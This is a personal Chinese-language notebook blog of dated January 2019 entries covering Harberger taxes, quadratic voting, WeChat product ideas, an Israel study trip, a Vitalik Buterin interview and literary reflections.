      • 一个人读固定的语料(这个语料包含了所有音节),我可以利用这个来训练模型可以直接模拟这个人的声音。
      • +
      +
    • +
    +

    19.1.24

      +
    • 写博客的一个好处是,可以不断追加更新。
    • +
    +

    哈伯格税

      +
    • “使用哈伯格税的好处是可以在日常管理成本低廉的情况下,准确地给资产定价。事实上,哈伯格税可以让市场来完全决定某个资产(如房产)的价格。此外,还可以增强房产的流动性,缓解产权上垄断。哈伯格税带来的高分配效率意味着像房产这样的资产能拥有更高的使用率,大大降低了社区的社会成本。”
      +

      以及转卖域名系统。

      +
      +
    • +
    • “当然,对于一些应用(比如广告业)来说,哈伯格税的解决方案是很有意思的。对于广告招商而言,新的广告商可以(译注:通过支付原广告商对广告位的估价)立即取代原广告商来使用该广告位,大大提高了广告招商市场的流通性。”
    • +
    • 类比progressive taxation,使得欧洲贫富差距稳定,但穷人依旧没法access to wealth generation。有些人觉得会不会有些人故意来prank你买你的东西,但其实没有这个问题因为你可以订很高的价格。最大的障碍是实施上面的。
    • +
    • 荷兰拍卖是反式拍卖。从高往低until买家出现。但仍旧有反式荷兰拍卖,来负责补贴。
    • +
    • tax as basic income. 税作为基本收入
        +
      • What about utilising Harberger taxes to sell slots for your attention? Taxes are your basic income?
      • +
      • 🌟【应用场景】固定人数的社群。你以你的估价来交付税以保持在这个社群里,但是一旦有别人付诸了这个价格可以挤掉你作为社群的一员。
          +
        • 【应用场景】rare patron
        • +
        +
      • +
      +
    • +
    +
    +

    唯一的制作人。利用哈伯格税的规则,别人可以以此买下这个资格然后你加入一个后制作人的群。

    +
      +
    • 哈伯格税的应用场景是:稀缺市场的交换规则,以及闲置资源的流通规则。
    • +
    • 一个仍然留做讨论的问题是:收集到的税的流向。是留向售方,还是所有参与者,或者是特定的方向。可以模仿在Creative Commons里提及的模式。
    • +
    • Quadratic Voting强调少数群体发表更具决定性的观点。而不是一人一票。因为少数群关注的点会愿意把所有票都投在那个议题上的
      在区分使用者的严肃程度。以及对待这个议题的态度的方式。提高了你重复发声的门槛。只有真正在意的人会选择重复发声。
    • +
    +

    少数人的意见也能够被关注到(surface)。
    me
    一个例子,现在饭堂开始改革让大家票选新的菜单,你一共有四票,你可以选择四种菜每个投一票,如果投给同样的菜需要平方的票,比如你特别喜欢烤鸡,你愿意耗费你四张票都拿出来成为给烤鸡成为最终的两票记录进去。如果这个饭堂实际上是一个社会的缩影呢,而那些票选的饭菜其实是gun control枪支管理,同性恋婚姻呢。

    +
    +
      +
    • 交易。把它看作是一个关于接受程度的衡量技巧。有效分类。合理去规避价格歧视的同时有效区分使用者。
    • +
    +

    如何补贴艺术(Intellectual Property) - 经济设计

    现在的版权:Copyright in most countries expires 50–100 years after the originator’s death. Patents expire. Just as we have private property and commons owned property, as a society we understand that at some point, ideas should become exploitable by all. 最有效的例子就是,现在迪士尼都在lobby政府延长他们使用米老鼠的年限。但实际上这些lobby的花销本可以用来生产更好的漫画。

    +

    讨论的关键就是,这是不是最有效率的做法?

    +
    +

    发现了一个规律。-创造一个稀缺市场,然后应用哈伯格税。-成本在于目前在现实中实施这个想法的执行成本大于从中得到的价值。

    +

    这里一个很核心的观点是,这个稀缺市场必须持续创造价值。使得稀缺的物件collectibles被持有是有价值的。 As long as the collectibles are creating value for its owners, people will be willing to pay the cost to keep them.

    +

    -很直接的另一个场景:就是知识付费的圈子。-而电子化实现这个想法远比实物收回来得简单的多。而也只是恰好在这个场景下,利用blockchain是很方便实现想法的方式之一。

    +

    或者是粉丝群体的同人徽章。
    🌟 【应用场景】a permanent digital artwork of a temporary exhibit.

    +
    +

    19.1.23

      +
    • 公众展示了ZoomAI超分辨率技术,通过这项技术,爱奇艺首先实现了在移动端实时放大540P标清视频到1080P高清视频的超分辨播放功能。
    • +
    • YouTube在2018年11月全新上线了YouTube Video Looks产品,支持网红在视频里“标记”产品,并可以配合视频内容、网红动作自动在侧边栏显示相关产品,极大促进人们购买体验。
    • +
    • 有一个功能,如果你看整部剧,就只为追某一个明星,那你可就太需要了。这就是“只看TA”功能。通过AI技术,系统可以智能识别出,某个明星的专属戏份。目前,爱奇艺和腾讯视频均有上线。比如《延禧攻略》中,你只要点击“只看 秦岚 片段”,就可以只看皇后娘娘的戏份了。
    • +
    +
      +
    • “美国基础电信设施的落后时FCC废除网络中立法案的至关重要的因素。特朗普政府废除了中立案。”

      +
      +

      网络中立法案,运营商不能差别对待内容。但事实是,youtube和netflix占据了70%的网络流量。
      因为中立案的存在:在网络基础设施投资上无法获得足够的资金,也不愿意对网络基础设施进行长期的大规模投入。(因为没有incentive,公地悲剧)
      在废除网络中立法案之后,美国的宽带普遍服务将不再主要依靠来自政府的资金的支持,二是可以依靠电信创新获得收入/来自资本市场的支持/来自互联网流量大户的差异化付费获得支持。

      +
      +
    • +
    • 我必须以摄像头的拍摄视频回复以解锁你的视频。

      +
      +

      视频记录是一个伪需求吗?张小龙。
      朋友之间,我想知道你的所有动态,我也希望别人知道我的所有动态。你可以隐身。但是可以看到别人给你“挥手”的通知。

      +

      随时随地和朋友交流。voice box放进耳塞。

      +
      +
    • +
    • 主打视频的陌生人社交。dating app。

      +
    • +
    • Canary in a coal mine 矿井中的金丝雀,指危险的先兆。
    • +
    +

    19.1.22

      +
    • 入手Text2Image。hand-written主题,适合:文章手写体,产品介绍图、代码介绍图、微信cover等。

      +
    • +
    • team meet的启发。 段威说,要把team其他人想得厉害一点点。 自己的认知是局限的,说不定别人有更好的想法。max来定时间和任务。要学会控场,以及给队友以信心。是可以push的,但是要鼓励他们一定是可以做到的。

      +
    • +
    • 直播是正餐,固定时间一起吃;短视频是零食,随时随地独自啃。

      +
    • +
    • 【隐喻】理解哈耶克,就是理解这个关于园丁的比喻。

      +
      +

      因此他不能像工匠打造器皿那样去模铸产品,而是必须像-园丁看护花草-那样,利用他所掌握的知识,通过提供适宜的环境,养护花草生长的过程。《知识的僭妄》是哈耶克1974年的诺贝尔纪念奖演说的题目。

      +
      +
    • +
    +

    19.1.21

      +
    • 【想法】把视频内容拨开。你可以移动视频内的物件。
    • +
    +

    19.1.20

      +
    • “The new reality is that journalists simply do not own the news cycle: Even if Gawker, BuzzFeed News, and Fusion decided to stop covering it, others would take up the mantle,” Anne Helen Petersen writes at BuzzFeed. “The new role of journalists, -for better or for worse, isn’t as gatekeepers, but interpreters-: If they don’t parse it, others without the experience, credentials, or mindfulness toward protecting personal information certainly will.”

      +
      +

      今天看到的新闻。又让我想起了Newsroom里的,mission to civilize。

      +
      +
    • +
    • The mission of each true knight is duty…
      nay, is privilege.
      To dream the impossible dream
      To fight the unbeatable foe
      To bear with unbearable sorrow
      To run where the brave dare not go
      To right the unrightable wrong
      To love pure and chaste from afar
      To try when your arms are too weary
      To reach the unreachable star
      This is my quest
      To follow that star
      No matter how hopeless
      No matter how far
      To fight for the right
      Without question or pause
      To be willing to march into hell
      For a heavenly cause
      And I know if I’ll only be true
      To this glorious quest
      That my heart will lie peaceful and calm
      When I’m laid to my rest
      And the world will be better for this
      That one man scorned and covered with scars
      Still strove with his last ounce of courage
      To reach
      The unreachable star “ ——《man of la mancha》
      来自《新闻编辑室》

      +
    • +
    • 记很有意思的一件事。今天中午我主动把厨房清理干净,过一会儿室友也注意到了厨房变得特别干净问是不是我做的,我说嗯。下午再出房间的时候,我发现室友主动地去倒了垃圾并且还用了吸尘器把客厅清扫了一遍。市场设计在理性人群里,一个很有效的方式是,做好事,给予道德压力。是不希望被亏欠的心理使得善意延续。但前提太严格了,只有充分理性(相信信任优于背叛,以及相信对方也有这般的相信),才能避开囚徒困境。而有意思的是,名誉和道德的束缚究竟在市场里有多大的力量?

      +
    • +
    • [19.1.20] 和爸妈视频。昨天晚上我调侃妈咪给我回复了和前一天道晚安时一样的话,妈咪今天在视频最后说拜拜的时候突然想起,说到:妈咪没有复制黏贴的喔,都是亲笔的。瞬间泪崩。

      +
    • +
    +

    19.1.19

      +
    • 【剧本】而我终于捡起了你的影子,染上了你眼神深处的黑色。一个人成年的时候,会把自己的影子脱下,仿佛蛇褪下的蜿蜒而皲裂的皮。

      +
      +

      而我终于栖息在你的影子里。

      +
      +
    • +
    • 经济学里的一个概念“廉价的对话”。那么爱呢。我一直受到家庭的爱。它是否又会被剥夺意义?是有区别的。在于主动和被动。家庭的这个场景更多应该被解释成“慢慢习惯了”,我并没有刻意引入“价值”和“效率”这个观点。但是在Dating相亲网站上当我主动发送一万封我爱你的消息的时候,我是在主动引入一个价值的比较。当人渴望情感但又不想为止牺牲太多的时候,是在贬低对方的价值,不过是个备胎。《共享经济》

      +
    • +
    • “当一件事情做成,「举世誉之」之时,不要沉湎其中,静静走开,追逐下一个目标。”

      +
      +

      很多时候管理者需要这种情绪。

      +
      +
    • +
    +

    19.1.18

      +
    • 我很难说出温柔是什么,直到一只猫咪经过 -用温热的身体- 蹭了我一下。

      +
    • +
    • 【产品思路】微信至今没有一键已读。为什么?不能依赖工具来解决焦虑。最后的解决办法都应该回到人的身上。如果有了这个选项,是不是意味着你会添加很多无关紧要的群,把解决焦虑的办法留给一键已读。这反而会伤害到那些真正想和你对话的人。

      +
      +

      【产品思路】[19.2.10更新] 为什么微信的时刻视频没有做滤镜。因为在拍生活的时候是不需要滤镜的,只有镜头对着自己才需要滤镜。微信的时刻视频是希望你多分享你的生活,而不是你在分享一个你包装的形象。

      +
      +
    • +
    • 区分被动思考和主动创造。

      +
    • +
    • cyclegan;真人虚拟主播

      +
    • +
    • 歌词:Underneath the chandelier\
      Now I unzip the back to watch it fall\
      Versace on the floor\

      +
    • +
    • 只是希望看见你而已,而你到底在做什么根本不重要。
      => 完全360无死角的直播。抑或者,放在斗兽场,去负责帅气,去负责厮杀。

      +
    • +
    +

    19.1.17

      +
    • “当一点点剥去自己的思想的混乱,再一点点重新建立起自己认同的价值观。当我脑中所有的观念都一起出席这反思的审判,我才能确定生活值不值得热爱。无论如何,我们都是借着思想而生活的,所以问题的关键不在于从事哲学与否,而在于接受一种廉价的替代品、没有挑战性的替代品,还是试图进行真正的思考。”——《大问题》罗伯特 所罗门
      +

      我为什么喜欢文学。我无法想象自己会身处在一个毫无美感的境地。加缪。

      +
      +
    • +
    +

    商业文摘

      +
    • 影响力的基础是可重复性。

      +
      +

      这是理解抖音和快手的关键。抖音太多一次性流量了。

      +
      +
    • +
    • 🌟 一个思维的方式:看看什么被消除了。什么被取代了。那么基于那些消逝的东西,他们的意义也被削弱了。比如,互联网消除了距离。而很多的关系和期待是基于距离的。

      +
    • +
    • 什么叫参与感。就是让渡一部分决策权给用户。

      +
    • +
    • 假新闻不会消失的。因为它带来了一笔很丰盛的生意。

      +
      +

      关键在于选择权。twitter上用户可以取关不信任的陌生人。fb的动态推荐却是你的好友为你选择的。

      +
      +
    • +
    • “然而,在一个言论富集的时代里,言论自由又意味着什么呢?当信息稀缺的时候,限制言论是一个真实的威胁;而当信息富集的时候,把人们与他们可能会反对的言论隔离开,其影响也是罔顾事实、不可接受的。”

      +
    • +
    • “但我越来越害怕的是另一个极端:人们织起一个个茧,凡是有悖于自己世界观的观点都被封锁在外,只因为那会触碰自己的底线。其结果,人人充满惰性,没有能力与其他任何人达成共识。”

      +
    • +
    • twitter必须被拯救。
      “这就是为什么 Twitter 必须被拯救:网络和媒体的结合是无可取代的,特别是在当今,人人都知道这是一个巨大的商机。但哪怕《华盛顿邮报》做得再好,它也只是茫茫媒体中的一员。媒体用以传播信息的平台才是那个真正的天平,但 Facebook 已经明确了自己的头等目标:吸引人气、聚集财富,而它对「工程师能让一切变得更好」的确信,进一步促成了这个目标。至于这种只关注怎样让人们觉得舒服的做法会带来怎样的外部效应,他们并不关心。
      相反,Twitter 的弱点正是它极度依赖于人本身。用户要自己构建消息源,自己寻找关系网,自己传播所思所想、即便或许根本没人愿意听。然而,这个弱点带来的回报,就是能把信息以前所未有的广度和速度传播出去。这对社会是有益的。这份外部效应应当被守护。

      +
      +

      同样是微信公众号的逻辑。你几乎只会从朋友圈那里发现新的公众号。他极度以来人本身。

      +
      +
    • +
    • 网络效应的意思是,你的朋友在 Instagram 上发 Stories,对你来说,效仿他是对你们彼此价值更大的选择。

      +
    • +
    • 没有初心的。都是从后往前看突然发现的。一个特征是去看是不是一脉相承。twitter前创始人evan william在blogger,twitter之后创办了medium。
      fb从朋友家人的网络转变到一个包含媒体,新闻的公开平台,是因为无法收购twitter而做出的模仿。
      做给ins做story,是因为他们无法收购snappchat。

      +
      +

      重新温故一下fb做出那几个重大改变决定的原因。

      +
      +
    • +
    • 🌟 影响网页阅读思考效率的,是相关文章!!!!是,你可能还感兴趣。

      +
    • +
    • 其实我也会祷告的。每一次在别人的文字里看到“阳光”,我总会想起加缪的那句话。“为了纠正天生的无动于衷,我置身于历史和阳光之间。历史告诉我,世界上的一切并不都是美好的,而阳光告诉我,历史不是一切。”

      +
    • +
    • 我送给自己的成人礼。唐吉柯德。2019年,如果有什么书是你一定要看的话。

      +
    • +
    • 不要让growth hack透支了你应当的思考。

      +
    • +
    • 与人交往里,最应该学会的一件事是,要清楚你的很多感觉是来自别人的。你感觉交流很舒服,是因为对方很聪明能够让你感到舒服。

      +
    • +
    +

    19.1.15

    voiceit

    voiceit。拿到了CEO的名片。微软AI for good 冠军。

    +
    +

    找到了一个切入点。帮助不方便说话的人,识别他们的声音。
    phase1: 有一个limited set词语,大概50个,然后让用户重复读得以训练一个supervised learning的模型。
    phase2: 准备几句话,里面包含了所有的phonetic,音节,然后让用户来阅读这些话,每一个用户可以训练一个这样的模型。不需要限制的词语集。decentralizd learning。
    phase3: 一个general model,而不是分布在各个用户手机上的个性化训练的模型。speaker-independent。

    +

    把voiceit定位和智能家居一起。尤其是和alexa的结合。所有一个gateway。让这些残疾人能够接入已有的这些IOT软件和硬件。

    +
    +

    team8

    8200前任部长们出来做的项目。形成人才库,中心化批量生产公司。上层研究并决定方向,然后人才库分配匹配人才组建公司。

    +

    以色列科技

    +
      +
    • 移民
    • +
    • 国防 8200组织,以色利的国防安全部。

      +
    • +
    • 头条是相信大力出奇迹的。

      +
    • +
    • 个性化内容 到 个性化设计。
    • +
    +

    曾经在百度贴吧上出现的二次元恶搞。

    +
    +

    总结我们的startup studio的重心:
    找到一个共识的地方。【降低用户的UGC制作门槛,不需要用户自己的生活场景,只需要用户的创意】
    比如MV,电影、电视剧的场景等等。

    +

    找到user story。

    +

    【动次】的踹轨。以及合轨。
    【马卡龙玩图】

    +
    +

    人有没有表达偏见的自由

    +

    自由是有边界的。这道辩题想要讨论伤害和边界。
    来自人有没有表达偏见的自由

    +
    +

    19.1.14

    《共享经济》- who gets what and why

    +

    区别于价格市场,配对市场里,价格不能清理市场,市场参与者在意他们和谁交易,以及建立长期关系。由配对市场引出的几个规则很有意思,比如2012年诺奖理论的“延迟接受”算法,隐式市场里的第二高价拍卖机制,以及在稠密市场的情况下对堵塞的不同反映机制(提前交易或者最后入场等)。关于市场设计同样重要的还有(1)如何形成市场的稠密性。(2)解决市场堵塞。(3)保护设计使得参与者能够安全透露真实意愿。(4)合理释放信号促进市场效率。没有五星的理由是作者太执着于特定细分市场的规则分析,而且中译版的题目有凑热点的嫌疑,这本书并没有主要讨论大家希望了解的共享经济,而是在分析匹配市场的规则设计,也算是让我回顾了一下本科的博弈论这门课。拍卖是个人类很古老而智慧的发明,看看以后我可以怎么运用起来。

    +
    +

    来自价格无法调节的市场 -《共享经济》阅读批注

    +
      +
    • 慢慢养成了收藏名字的习惯。aesop,sancho,dolorosa
    • +
    • 最终在王座上栖息的不过南柯一梦。猫坐在上面,总是会比人温柔的。
    • +
    • 一片叶子落下,融化在另一片叶子的阴影里。

      +
    • +
    • 是失望在推动改变。

      +
    • +
    +

    19.1.13

    耶路撒冷。

    +
      +
    • 6 million, holocaust. 南京大屠杀30万,20倍。
    • +
    • I couldn’t hear, he cannot speak.
    • +
    • 父亲对女儿说,If you don’t read it, you cannot inherit anything.
    • +
    • 父亲的兄弟亲手窒息了自己的小孩,因为小孩的哭闹会让一家人被纳粹发现。
    • +
    • 他想自杀,但是活下来为了讲一个故事。他成为了唯一的目击者。生命的意义变了。
    • +
    • 这个世界是残忍的,但他相信他的故事能够传递下去。
    • +
    • 女儿在演讲的结尾这么说:请尽力和我对话。dialogue。
    • +
    • 父亲是一个妇产科医生。负责接生。见证出生。而讽刺的是,他也见证了最无理的死去。interleaving of life and death.
    • +
    • 当一个人活着,而其他人死去。他责怪他自己。
    • +
    • trump。经济的确改善了,这堵住了人们的口。为什么当时的年轻人相信纳粹。
    • +
    • 《我的奋斗》统治的艺术。管理,本质上都是权力的施加和影响。而历史上最大范围的权力影响,就是纳粹。
    • +
    • 马克吐温,历史不会重复自己,但会押韵。
    • +
    • 大屠杀纪念馆。昏黄蜡烛。镜面无限闪烁。纪念馆只做一件事,就让我不断重复你的名字。
    • +
    +
    +

    记忆。轻。
    只是我们的时代没有这些残酷的选择。
    极端:他操控了我们所有的故事。

    +
    +
      +
    • 和最好的朋友m一起聊天。他说,他曾经有一段时间很悲观,他觉得每个人都是一个棋子,都在被操控着。他说在最终被操控的那一天之前……我接话:“去自杀”。他说,“去成为操控别人的人”。

      +
      +

      我突然很欣慰我的回答。

      +
      +
    • +
    • 微信7.0的时刻视频。里面大部分都是女生发的抖音视频。但是微信里面暂时并没有编辑时刻视频的工具。张小龙希望做到的是记录真实。他说,人并没有记录的需求的。-但是人有渴望交流的需求。-“记录或者拍摄,拍一个视频并不是用户的需求,大家没有这个需求。不信你看一下自己的手机里有多少视频就知道了,你其实没有拍过几个视频。即使拍很多的照片也不会再看了。”

      +
      +

      朋友圈是一个精致社交的地方。但无论是“看一看”还是“时刻视频”也好,都还没有真正解决张小龙希望解决的问题,就是”真实“。只要最终依旧有强提醒,最终依旧会曝光给好友看。虽然他最新改版的slogan是正确的:“因你看见,所以存在”。但是实际上并没有真正做到。
      [19.2.21更新] (1) 一个相反的事实观察是:当微信更新后给时刻视频新的入口“你的新好友动态”之后,朋友发时刻视频的频率反而提高了。 (2) 另一个观点是,“一定会曝光给好友看”不一定是坏事。关于自己生活动态的曝光,对发布者来说主要分两种目的,一种是刻意树立、维护自己形象,另一种是随意的分享一些情绪,观点。

      +

      一种改进是,默认发送给“最近互动的人”,后台记录了朋友圈里相互互动的人,然后发送时刻视频的时候,有一个选项是只发给互动的人。

      +

      管理“群组可见”的最大的坏处是,对自己反馈。这是一种很负面的反馈,用户会讨厌一个分组的自己,斤斤计较身份,带有目的性的自己。-从工具本身削弱社交的目的性。比如微信时刻视频不提供任何滤镜。-

      +

      快手可以比微信更加真实的原因就在于陌生人的关系。就像微博的我比微信的我更加的真实。
      熟人:形象image。因为和我们生活的其他方面有交集。我们的形象是破碎而不连续的。而维持多面的形象非常费力。问题不出在熟人,而是出在交集。当多层社会关系出现交集的时候,就像在一席大桌饭宴上,你的态度是由你其中最严肃的社会关系所决定的。
      陌生人:名声reputation。能够持续的维护同一个形象而形成名声。没有交集的焦虑。
      [[张小龙回应一切!2019微信公开课一人撑到半夜,4小时演讲3万字实录]]

      +
      +
    • +
    • 同样的$100的东西,一次性付清$100,没有分4次每次到店来付$25好,需求的稳定性,优于强调这个交易的完成。

      +
    • +
    +

    19.1.12

      +
    • 人们为什么想看日出?看世界慢慢附上颜色。

      +
      +

      [19.2.21更新]人们希望以一个不常有的形式冲击自己,像用冷水醒酒一样。人们对景色的新奇和期待远远超过了对自己内心的反照。

      +
      +
    • +
    • 意义,在连续被中断的空白里。照片。

      +
    • +
    • 凌晨坐巴士进山。哑暗的山峦。夜间飞行。马修姆。
    • +
    • 果冻一般的云朵,凝固在天上。日出以后,就融化了。

      +
    • +
    • 最大的渠道最终会成为最大的内容生产商。了解一下,网络中立法案。

      +
      +

      [19.1.17更新] 国内一个很好的例子:腾讯大王卡。王欣的新社交应用马桶MT发布的时候,需要手机注册,使用腾讯大王卡的用户连短信验证都收取不到。

      +
      +
    • +
    +

    19.1.9

    itrek - Israel innovation

      +
    • 教授说,if only one reason: -“no fear of failure”-: frontier; geolocation, no nearby neighbours will buy from you, and you have to think and sell globally. -IQ is all the same, the bell curve.- But do not fear failure. 文化和个人同样重要。
      +

      🌟 还是steve jobs那句话,once you know the world is made up by the people not smarter than you, the world will totally change.

      +
      +
    • +
    +

    坐在沙漠中心,真适合重新看一遍英国病人。

    +

    重读《英国病人》

      +
    • 在沙漠里一个字眼可以伴你走上几百英里。
    • +
    • 我确信能够从沙漠里走出来,因为我很清楚怎样活在沉默里。
    • +
    • 她念给我听,像是展开翅膀把我拢着。
    • +
    • 我喜欢和你面对面谈话的理由是,你离我很远,这很安全。温柔。
    • +
    • 我只看气质。从一个人的气质可以看出她所有的努力。
    • +
    • 晚上在放篝火。灰烬旋转,上升。我们都老了。
    • +
    • 我曾经只顾及自己的梦想,现在更多的,是你们的。
    • +
    • (以后用作小说开头)她知道,如果听见了窗外的雨声,巢里的鸟儿就会少一只。
    • +
    • 他和他那严肃的天赋。
    • +
    • 那里有星空的暗沉,有烟味。
    • +
    • “年轻的时候,我们不照镜子。一直到老了,我们开始在意我们的名字,我们的传奇,我们的生命对未来意味着什么。我们随着我们的名字变得虚荣,声称我们是最早的见证者、最强大的军队、最聪明的商人。纳喀索斯老了以后,才会想起要一幅他自己的刻像。”
    • +
    • 沙漠。意味着,所有我们以为可以一直存在的,什么也没有留下。
    • +
    • 从热气腾腾的帐篷走出来,像是溺水的人终于被救起。
    • +
    • 沙漠里的夜晚。上弦月。selenophile. 迷恋月亮的人。

      +
    • +
    • 我突然发现我很容易被震撼到。仅仅是一小点阳光就足够挽留我了。沉默也能。

      +
    • +
    +

    Jeffa

    野蛮。
    估计可以预定年度最讽刺的一幕了。
    那一刻我仿佛置身罗马斗兽场。有的粗语挑衅,有的挑逗。

    +

    我所理解的温柔,是靠近,不打扰。

    +
    +

    温柔,直到,猫咪经过,蹭了我一下。这

    +
    +

    甲板上的缝隙。褐色猫躲在哪里。

    +
    +

    那如果他们真的在打架,又或是喜欢被挑逗呢。或许我也是误会。我一定不会出声的。我会沉默。

    +
    +
      +
    • tel aviv.
      tel: layered
      aviv: spring
      一层又一层堆叠起来的春天。
      Aviv is Hebrew for “spring”, symbolizing renewal, and tel is a man-made mound accumulating layers of civilization built one over the other and symbolizing the ancient.

      +
    • +
    • 不破不立。我皲裂而展开花瓣般弧度的皮肤,是我曾奋力成长的证据。平滑是我闲致的礼物和诅咒。

      +
    • +
    • 可是一想到教堂和音响的组合就觉得很奇怪啊。
    • +
    +

    19.1.10

    屋顶上的鸭子。仅仅因为市民喜欢
    smart city:city listen to its residents.

    +

    19.1.8

      +
    • 学习vitalik的看书和思维训练方式。
      “我重读了你博客上的所有文章,发现有两个非常重要的经济学成果,一个是基于Greg Mankiw的menu cost model,另一个是Fischer Black关于货币均衡的不确定性的论文。”

      +
    • +
    • 【剧本】受害者享受受害的过程。【享受这个过程带来的流量】-> CNN和特朗普都很享受现在互相开战的状态。

      +
    • +
    • 很多人只是懒,并不是没有需求。人们会很轻易地压抑甚至改变自己的真实需求,仅仅为了迎合社会期望,自我保护,或者一些私人欲望,比如懒。

      +
    • +
    • 很多人创业是不得已的。能力强的人有更多的选择,也有更多的诱惑。
    • +
    • -不同性格的人都会运用这些智慧来自圆其说。-昆德拉。一个圆。那些人,最终不过从家庭走向了家庭,从流浪回到了流浪。
    • +
    +

    回顾

      +
    • 这一次选举的结果不会凭空增加国民财富和就业机会, 它不过是以选举人的意志重新分配了财富, 而分配, 意味着你在一份的花销多了, 势必对另一部分的花销有影响。
    • +
    • 人们可以在自己的本能和欲望中注视到许多象征的缘由。 或许象征本身, 就是人们所力所不及却昼夜痴狂的一种群体记忆吧。而没有了回响, 也就没有了意义。
    • +
    • selenophile. 迷恋月亮的人。
    • +
    • 我反悔了。我要养两只猫而不是一只,伊索和桑丘。Aesop and Sancho. 伊索的出现,对我来说像一个寓言。而桑丘,则是唐吉柯德最忠诚的仆人。每一个寓言都需要一颗忠实守候的心呐,我只希望那颗心可以不是我的。

      +
    • +
    • 以色列,灰色山脉,拆弹。英国病人。

      +
    • +
    • 山坡,森林。刘慈欣。带上一双眼睛。
    • +
    • 看书,有很多个故事的陪伴。
    • +
    • 导游在以色列服兵役时是狙击手,在边境的驻扎地营救了两个来自叙利亚的小孩子,姐弟。雪夜。500千米之外的的家园被侵入。黑夜,姐姐左手二级烧伤。
      +

      以色列边境,灰色山脉,弃屋残骸,拆弹。翁达杰。英国病人。

      +

      翠绿山坡,细雨湿透了每一片花瓣,森林。刘慈欣。带上她的眼睛。

      +

      在大巴上望着窗外看着这个世界路过。联想起好多心事,但感觉好幸福,我有好多故事的陪伴。

      +
      +
    • +
    +

    1.7

    itrek - 影响israel五个最重要的因素

      +
    • map geolocation
    • +
    • enormous youth
    • +
    • self identity. Islam
    • +
    • Water belongs to whom? Build dam! A weapon of war!
    • +
    • Dictatorship

      +
    • +
    • 想法:直播那棵树🌲直播带来的即时反馈。

      +
    • +
    +

    1.6

      +
    • 这段时间对外输出有点多了。还是要每天留多些时间给自己。今年的重点是技术开发和产品思考。不要让别人偷走你的孤独。
    • +
    +

    vitalik谈话记录

    (以下文字来自文章)

    +
      +
    • 大量资金的介入带来的流动性意味着投机活动的增加。限制流动性很大程度上可以限制投机。因而在这个阶段,大量资金进入加密货币领域并不是一个很紧要的需求。
    • +
    • 新加坡的沙盒实验
    • +
    • 一种对加密货币估值的方式是将其当作一个通过收取交易费盈利的公司,特别是在一些交易费被燃烧或者重新分配给POS验证者的案例中。
    • +
    • 影响很大,因为量子计算将使许多现代使用的密码学不再有效。数字签名算法将不再有效。公钥加密不再有效。零知识证明的纠缠不再有效。
      好消息是,对于这些不再起作用的东西,人们在十多年前就已经找到了替代品:基于哈希的签名,-零知识证明的STARKs-,基于椭圆曲线同基因的公钥加密。我认为它将带来一场转变,但最终,我们知道如何适应它。
    • +
    • 比如说,我认为广告在传统广告方面肯定被高估了。但是广告更广泛的范畴是试图影响公众的思维方式,让你的产品受益。我认为在未来的几十年里,我们会看到很多广告领域的创新,好坏都有。
      (译者注:很巧的是,前不久A16Z的合伙人Benidict Evans也表达了类似的看法,他认为广告和市场营销本质上是一类业务,更宏观一点,这些都可以归类为“获取用户”,也就是Vitalik说的影响公众的思维方式。
      仔细想想看,现在的消费者是如何形成消费决策的?他们是如何得知某件商品或者服务的?他们信任谁的推荐,他们愿意为谁买单,或者排超级长队?
      +

      去关注那些自然流量产生的地方。

      +

      以及ig的marketplace!!
      我们曾经觉得,社交就是社交,卖东西是卖东西,后来拼多多和微商狠狠的给我们上了一课,以后这类融合只会更多。)
      -广告的本质是:影响力的交接。-

      +
      +
    • +
    • 自由避税天堂和一般的自由主义天堂都有个问题,那就是既吸引喜欢自由的人,又吸引富有却不太有趣的人。
      +

      怎样可以设计机制获得核心的人群。

      +
      +
    • +
    • 我更感兴趣的是社会类科幻小说,尤其是那种探索复杂系统的,比如人们如何互动,政治和经济系统如何运行,以及它们是如何失败的。 特别是在没有出现希特勒这样的人物的情况下,系统如何失败。
    • +
    • 另一方面,有时候高效率是需要规模经济做支撑的,比如陆地交通,只有亚洲这些国家,中国,韩国,日本,才有高铁。
      +

      以色列是没有地铁的。这不能说明以色列的公共交通是不高效的。这只是说明它不需要地铁的高效。它的出租车系统,单车系统就能够高效地支撑起社会运输功能。效率这个词是和规模挂钩的。而效率上的新发明,也严重依赖于规模程度和规模经济。所以中国会有高铁,有四通八达的地铁,而以色列不需要高铁甚至地铁。
      对话Vitalik:社会进步有时候只是幻觉,真的发生的时候却很难理解 - 橙皮书

      +
      +
    • +
    +

    《让大象飞》

      +
    • 直接从伟大愿景开始不是不可能。只是太难了。伟大愿景是被公众和媒体重新构建出来的,为了让成功更具说服力,更具备因果关系。
    • +
    • 人数多了就开始出现分工了。以及身份的扮演,乃至角色的社会压力。这些对初创企业是不够有效率的。其次是决策效率。想象一下组织二三十个人晚上吃什么这个过程。
    • +
    • -更大的互动性和实时性。参考RocketOn,这也意味着愿意暴露更多不受主流关注的行为和数据并且在其中找到共识。-RocketOn这个例子:每个人的虚拟avatar化身在网页上保存然后可以相互交流。
      +

      我做笔记这个过程:我们大部分人更擅长的是被迫思考,在一个应激的环境下产出思考。譬如看资讯给一些批判;看书之后写个书评。要尝试去在一个主动关掉信息输入的环境下,主动去构筑一个世界。哪怕这会是一个暂时糟糕的世界。要锻炼这种能力。

      +
      +
    • +
    +

    2019.1.4

    所有的社区的核心都在于人。最终体验的终点都会是个性化。

    +

    《订阅》3.5/5

    《订阅》- 阅读批注

    +
    +

    现在的快手,像是youtube。而仔细观察之后微博则像是他们打算留存IP的地方。
    [19-2-21更新] 微博关注点在普通人对名人动态的关注。而普通人平时的随意记录所能够得到的反响非常少,类似豆瓣,除非去蹭热点。这个是应该由算法解决的问题。而快手给了一大部分人曾经微博提供的功能。

    +
    +
      +
    • 《奈菲文化手册》、《重新理解创业,一个创业者的途中思考》。
    • +
    • 被肤浅地理解本身,就是一种解构-重构的过程。现在的我们所做的和以前的我们并没有什么不同,以前的我们通过年久失修的电台和拼凑的报纸获得资讯,现在的我们依赖youtube,快手。
      +

      youtube是传递信息,娱乐,互相理解的一个很重要的方式。

      +

      这可以意味着更多的改变,也可以意味着更少。那一点的信息足以让我怀疑政府的动机,而那一点的破粹也足以让我对美好失去信心。

      +
      +
    • +
    • 当我们看不懂,看不惯的时候,我们习惯说那是一个人人哗众取宠的名利场。
      +

      [19-2-21更新] 当我们看不懂,也不想看懂另一个人的时候,我们习惯说那是一个人在哗众取宠。

      +
      +
    • +
    • 而视频,曾经是制作成本和分发成本最高的娱乐方式。
    • +
    • 快手课堂。商业化。是我感兴趣的方向。
    • +
    +

    《newsroom》

      +
    • truth. no twitter.
    • +
    • “empathy. he got knocked down, but you won’t get taller.“
